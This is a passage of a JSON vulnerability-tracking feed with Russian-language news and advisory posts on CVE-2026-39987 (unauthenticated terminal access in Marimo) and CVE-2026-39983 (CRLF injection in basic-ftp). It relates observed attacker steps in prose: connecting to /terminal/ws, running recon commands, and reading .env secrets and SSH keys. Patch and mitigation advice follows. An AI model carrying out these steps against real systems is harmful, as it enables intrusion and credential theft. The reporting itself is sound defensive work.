\u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0437\u0430\u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u044c 125 IP, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0441\u044f  \u0440\u0430\u0437\u0432\u0435\u0434\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c.\n\n\u041c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0447\u0435\u0440\u0435\u0437 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u0447\u0435\u043d\u044b\u0435 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043f\u0435\u0440\u0432\u0443\u044e \u043f\u043e\u043f\u044b\u0442\u043a\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u043f\u043e \u043a\u0440\u0430\u0436\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0432\u0448\u0438\u0441\u044c \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 /terminal/ws \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u043a\u043e\u0440\u043e\u0442\u043a\u0443\u044e \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u043b\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0435\u043a\u0443\u043d\u0434.\n\n\u0412\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0438 \u043d\u0430\u0447\u0430\u043b\u0438 \u0440\u0443\u0447\u043d\u0443\u044e \u0440\u0430\u0437\u0432\u0435\u0434\u043a\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044f \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a pwd, whoami \u0438 ls, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043d\u044f\u0442\u044c \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0435, \u0430 \u0437\u0430\u0442\u0435\u043c \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 SSH.\n\n\u0414\u0430\u043b\u0435\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0438\u043b\u0441\u044f \u043d\u0430 \u0441\u0431\u043e\u0440\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0441\u0440\u0430\u0437\u0443 \u0436\u0435 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u0432 .env \u0434\u043b\u044f \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u044b, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043a\u043b\u044e\u0447\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0417\u0430\u0442\u0435\u043c \u043e\u043d \u043f\u043e\u043f\u044b\u0442\u0430\u043b\u0441\u044f \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0432 \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b \u043f\u043e\u0438\u0441\u043a SSH-\u043a\u043b\u044e\u0447\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u0442\u0447\u0435\u0442\u0443 Sysdig, \u0432\u0435\u0441\u044c \u044d\u0442\u0430\u043f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0431\u044b\u043b \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d \u043c\u0435\u043d\u0435\u0435 \u0447\u0435\u043c \u0437\u0430 \u0442\u0440\u0438 \u043c\u0438\u043d\u0443\u0442\u044b. \u041f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0441 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0442\u0443 \u0436\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0437\u0430 \u0430\u0442\u0430\u043a\u043e\u0439, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0442\u043e\u0438\u0442 \u00ab\u043c\u0435\u0442\u043e\u0434\u0438\u0447\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u00bb, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u043e\u0434\u0445\u043e\u0434, \u0430 \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u0438 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0435\u043d\u043d\u044b\u0439 \u043d\u0430 \u0442\u0430\u043a\u0438\u0445 \u0432\u0430\u0436\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445, \u043a\u0430\u043a \u043a\u0440\u0430\u0436\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 .env \u0438 \u043a\u043b\u044e\u0447\u0435\u0439 SSH.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0435 \u043f\u044b\u0442\u0430\u043b\u0438\u0441\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c \u043a\u0440\u0438\u043f\u0442\u043e\u043c\u0430\u0439\u043d\u0435\u0440\u044b \u0438\u043b\u0438 \u0431\u044d\u043a\u0434\u043e\u0440\u044b, \u0447\u0442\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442 \u043e \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0438 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c Marimo \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.23.0, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f WebSocket \u0441 /terminal/ws, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430 \u0438 \u0440\u043e\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044b\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u044b.", "creation_timestamp": "2026-04-13T16:22:04.000000Z"}, {"uuid": "4c8f2c74-b5d7-4443-8a2d-7f586cddf0c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39983", "type": "published-proof-of-concept", "source": "https://t.me/bdufstecru/3076", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 protectWhitespace() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 FTP-\u043a\u043b\u0438\u0435\u043d\u0442\u0430 basic-ftp \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b Node.js \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043f\u0440\u0438\u043d\u044f\u0442\u0438\u0435\u043c \u043c\u0435\u0440 \u043f\u043e \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0435\u0439 CRLF. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\n\nBDU:2026-05098\nCVE-2026-39983\n\n\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 \u0438\u0437 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432. \u0412 \u0441\u0432\u044f\u0437\u0438 \u0441\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u043e\u0431\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u0438 \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u043c\u0438 \u0441\u0430\u043d\u043a\u0446\u0438\u044f\u043c\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u0420\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u043e\u0439 \u0424\u0435\u0434\u0435\u0440\u0430\u0446\u0438\u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u043e\u0446\u0435\u043d\u043a\u0438 \u0432\u0441\u0435\u0445 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0445 \u0440\u0438\u0441\u043a\u043e\u0432.\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 SIEM-\u0441\u0438\u0441\u0442\u0435\u043c \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0445 \u0441 FTP-\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\u043c\u0438;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c\u0443 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044e \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442).\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\n\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 5.2.1 \u0438 \u0432\u044b\u0448\u0435\nhttps://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1", "creation_timestamp": "2026-04-13T14:13:27.000000Z"}, {"uuid": "8a889f06-6c28-4ecb-a959-ee57e014d2f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/true_secator/8095", "content": "\u0412\u0441\u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 10 \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c Marimo \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Marimo 0.20.4 \u0438 \u0431\u043e\u043b\u0435\u0435 \u0440\u0430\u043d\u043d\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-39987 \u0438 GitHub \u043e\u0446\u0435\u043d\u0438\u043b \u0435\u0451 \u0432 9,3 \u0438\u0437 10.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Sysdig, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u043e\u0437\u0434\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u00a0\u0438 \u0431\u0435\u0437 \u043f\u0440\u043e\u043c\u0435\u0434\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0438   \u0435\u0433\u043e \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0430 \u0443\u043a\u0440\u0430\u0434\u0435\u043d\u0430 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f.\n\nMarimo - \u044d\u0442\u043e \u0441\u0440\u0435\u0434\u0430 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0431\u043b\u043e\u043a\u043d\u043e\u0442\u043e\u0432 \u043d\u0430 Python \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u0430\u0442\u0430\u0441\u0430\u0439\u043d\u0442\u0438\u0441\u0442\u0430\u043c\u0438, \u0418\u0418-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u0430\u043c\u0438, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438. \u0412 \u0446\u0435\u043b\u043e\u043c, \u044d\u0442\u043e \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 20 000 \u0437\u0432\u0435\u0437\u0434 \u043d\u0430 GitHub \u0438 1000 \u0444\u043e\u0440\u043a\u043e\u0432.\n\nCVE-2026-39987 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0442\u0435\u043c, \u0447\u0442\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u0430\u044f \u0442\u043e\u0447\u043a\u0430 WebSocket /terminal/ws \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0443 \u0431\u0435\u0437 \u043d\u0430\u0434\u043b\u0435\u0436\u0430\u0449\u0435\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u0441 \u043b\u044e\u0431\u043e\u0433\u043e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u042d\u0442\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u044f\u043c\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0435, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441 \u0442\u0435\u043c\u0438 \u0436\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u0447\u0442\u043e \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 Marimo.\n\nMarimo \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 8 \u0430\u043f\u0440\u0435\u043b\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u0435\u0440\u0441\u0438\u044e 0.23.0 \u0434\u043b\u044f \u0435\u0451 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f.\n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u043b\u0438 Marimo \u043a\u0430\u043a \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0439 \u0431\u043b\u043e\u043a\u043d\u043e\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0442\u0435\u0445, \u043a\u0442\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Marimo \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u0449\u0443\u044e \u0441\u0435\u0442\u044c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 --host 0.0.0.0 \u0432 \u0440\u0435\u0436\u0438\u043c\u0435 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u041f\u043e 